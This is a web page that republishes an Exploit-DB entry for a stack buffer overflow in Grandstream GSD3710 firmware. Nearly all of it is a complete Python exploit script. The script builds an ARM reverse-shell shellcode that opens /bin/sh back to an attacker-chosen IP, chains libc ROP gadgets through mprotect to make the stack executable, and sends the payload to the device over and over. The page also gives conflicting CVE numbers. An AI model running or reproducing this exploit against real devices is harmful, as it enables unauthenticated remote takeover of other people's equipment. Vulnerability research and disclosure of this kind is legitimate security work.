Grandstream GSD3710 1.0.11.13 – Stack Buffer Overflow

Exploit Details

Basic Information

Exploit Title Grandstream GSD3710 1.0.11.13 – Stack Buffer Overflow
Exploit ID EDB-ID:52303
Type exploitdb
Published 2025-05-25T00:00:00
Modified 2025-05-25T00:00:00

CVSS Information

CVSS Score 9.8
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2020-2070
  • CVE-2022-2070

Exploit Description

!/usr/bin/env python3 Exploit Title: Grandstream GSD3710 1.0.11.13 – Stack Buffer Overflow Google Dork: [if applicable]…

Exploit Code

#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 – Stack Buffer Overflow

# Google Dork: [if applicable]

# Date: 2025-05-23

# Exploit Author: Pepelux (user in ExploitDB)

# Vendor Homepage: https://www.grandstream.com/

# Software Link: [download link if available]

# Version: Grandstream GSD3710 – firmware:1.0.11.13 and lower

# Tested on: Linux and MacOS

# CVE: CVE-2022-2070

“””

Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:

$ ncat -lnvp 4444

Terminal 2:

$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444

“””

from operator import ge

import sys

import time

from pwn import *

import argparse

def get_args():

parser = argparse.ArgumentParser(

formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(

prog, max_help_position=50))

# Add arguments

parser.add_argument(‘-ti’, ‘–target_ip’, type=str, required=True,

help=’device IP address’, dest=”device_ip”)

parser.add_argument(‘-tp’, ‘–target_port’, type=int, required=True, default=8081,

help=’device port’, dest=”device_port”)

parser.add_argument(‘-ri’, ‘–reverse_ip’, type=str, required=True,

help=’reverse IP address’, dest=”reverse_ip”)

parser.add_argument(‘-rp’, ‘–reverse_port’, type=int, required=True,

help=’reverse port’, dest=”reverse_port”)

# Array for all arguments passed to script

args = parser.parse_args()

try:

TI = args.device_ip

TP = args.device_port

RI = args.reverse_ip

RP = args.reverse_port

return TI, TP, RI, RP

except ValueError:

exit()

def check_badchars(data):

for i in range(len(data)):

if data[i] in [0x0, 0x40]:

log.warn(“Badchar %s detected at %#x” % (hex(data[i]), i))

return True

return False

def get_shellcode(ip, port):

ip_bytes = socket.inet_aton(ip)

port_bytes = struct.pack(“>H”, port)

# Linux ARM reverse shell

# switch to thumb mode

sc = b”\x01\x30\x8F\xE2″ # add r3, pc, #1

sc += b”\x13\xFF\x2F\xE1″ # bx r3

# socket(2, 1, 0)

sc += b”\x02\x20″ # movs r0, #2

sc += b”\x01\x21″ # movs r1, #1

sc += b”\x92\x1A” # subs r2, r2, r2

sc += b”\xC8\x27″ # movs r7, #0xc8

sc += b”\x51\x37″ # adds r7, #0x51

sc += b”\x01\xDF” # svc #1

sc += b”\x04\x1C” # adds r4, r0, #0

# connect(r0, &sockaddr, 16)

sc += b”\x0C\xA1″ # adr r1, #0x30

sc += b”\x4A\x70″ # strb r2, [r1, #1]

sc += b”\x10\x22″ # movs r2, #0x10

sc += b”\x02\x37″ # adds r7, #2

sc += b”\x01\xDF” # svc #1

# dup2(sockfd, 0)

sc += b”\x3F\x27″ # movs r7, #0x3f

sc += b”\x20\x1C” # adds r0, r4, #0

sc += b”\x49\x1A” # subs r1, r1, r1

sc += b”\x01\xDF” # svc #1

# dup2(sockfd, 1)

sc += b”\x20\x1C” # adds r0, r4, #0

sc += b”\x01\x21″ # movs r1, #1

sc += b”\x01\xDF” # svc #1

# dup2(sockfd, 2)

sc += b”\x20\x1C” # adds r0, r4, #0

sc += b”\x02\x21″ # movs r1, #2

sc += b”\x01\xDF” # svc #1

# execve(“/bin/sh”)

sc += b”\x06\xA0″ # adr r0, #0x18

sc += b”\x92\x1A” # subs r2, r2, r2

sc += b”\x49\x1A” # subs r1, r1, r1

sc += b”\x01\x91″ # str r1, [sp, #4]

sc += b”\x02\x91″ # str r1, [sp, #8]

sc += b”\x01\x90″ # str r0, [sp, #4]

sc += b”\x01\xA9″ # add r1, sp, #4

sc += b”\xC2\x71″ # strb r2, [r0, #7]

sc += b”\x0B\x27″ # movs r7, #0xb

sc += b”\x01\xDF” # svc #1

sc += b”\x02\xFF”

sc += port_bytes

sc += ip_bytes

sc += b”/bin/shX”

return sc

def main():

ti, tp, ri, rp = get_args()

# ROP Gadgets

libc_base = 0x76ec1000

mprotect = libc_base + 0x93510+1

pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}

pop_pc = libc_base + 0xd7515 # pop {pc}

pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}

pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}

add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5

# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr

mov_r0_r1 = libc_base + 0x0002f83d

# 0x0006a086 (0x0006a087): pop {r1, pc}

pop_r1 = libc_base + 0x6a087

ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr

# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}

mov_r4_r0 = libc_base + 0x000a3a42+1

# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr

movs_r1_r0 = libc_base + 0x0001fdaf

and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr

movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr

mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr

blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp

shellcode = get_shellcode(ri, rp)

auth_command = b”LOG/1.0 END CMD:AUTH_USERNAME @”

junk = p32(0x43434343)

payload = auth_command

payload += b”A” * 144

# The goal is that R0 -> SP

# R5 = pop {pc}

# because in the the next gadget we have a blx r5

payload += p32(pop_r5)

payload += p32(pop_pc) # R5 = pop {pc}

# R1 = SP ; BLX pop {pc}

payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

# Restore LR register (because it has been updated by the last BLX gadget)

payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}

payload += junk*4 # r0, r4, r8, ip

payload += p32(pop_pc) # LR = pop {pc}

# R0 = stack address

payload += p32(mov_r0_r1) # mov r0, r1; bx lr

# R1 = mask page align

payload += p32(pop_r1) # pop {r1, pc}

payload += p32(0xfffe1001)

# R0 = stack address & 0xfffe1001

payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr

# R4 = R0

payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr

payload += junk # r1

#Β mprotect params

# r0 = shellcode page aligned address

# r1 = size(ofshellcode)

# r2 = protection (0x7 – RWX)

# R2 = 0x7

payload += p32(pop_r0)

payload += p32(0x07070707)

payload += p32(and_r0_f) # R0 = 7 (RWX)

payload += p32(movs_r2_r0) # R2 (prot: 7 – RWX)

# R1 = length = 0x10101010 (avoid 0’s)

payload += p32(pop_r0)

payload += p32(0x01010101)

payload += p32(movs_r1_r0) # r1 (length: 0x10101010)

# R0 = stack address 4k aligned

payload += p32(mov_r0_r4)

# mprotect(stack, 0x10101010, 0x7)

payload += p32(mprotect)

payload += p32(blx_sp) # ejecutamos en pila

payload += shellcode # shellcode

if check_badchars(payload[len(auth_command):]):

sys.exit(0)

log.info(“Device IP: %s:%d” % (ti, tp))

log.info(“Attacker IP: %s:%d” % (ri, rp))

log.info(“Payload len: %d” % len(payload))

count = 1

while True:

try:

print(‘Try: %d’ % count)

r = remote(ti, tp)

r.send(payload)

log.success(“Payload sent!”)

# r.close()

time.sleep(1)

count += 1

except:

sleep(3)

pass

if __name__ == ‘__main__’:

main()

View Full Exploit Details

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.